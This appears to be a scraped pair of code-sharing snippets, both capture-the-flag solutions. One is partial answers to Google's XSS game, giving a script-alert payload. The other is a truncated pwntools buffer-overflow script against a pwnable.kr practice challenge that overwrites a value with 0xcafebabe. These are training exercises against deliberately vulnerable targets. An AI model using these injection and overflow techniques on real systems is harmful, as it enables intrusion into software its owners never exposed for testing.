This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
############################################################################## | |
Level 1: Hello, world of XSS | |
https://xss-game.appspot.com/level1/frame | |
query=<script>alert(123)</script> | |
############################################################################## | |
Level 2: Persistence is key | |
https://xss-game.appspot.com/level2/frame |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Use python 2 | |
from pwn import * | |
context.log_level = 'debug' | |
r = remote('pwnable.kr','9000') | |
p = 'a'*0x2c # for ebp | |
p += 'b'*4 # for sebp | |
p += 'c'*4 # for SEIP | |
p += p32(0xcafebabe) |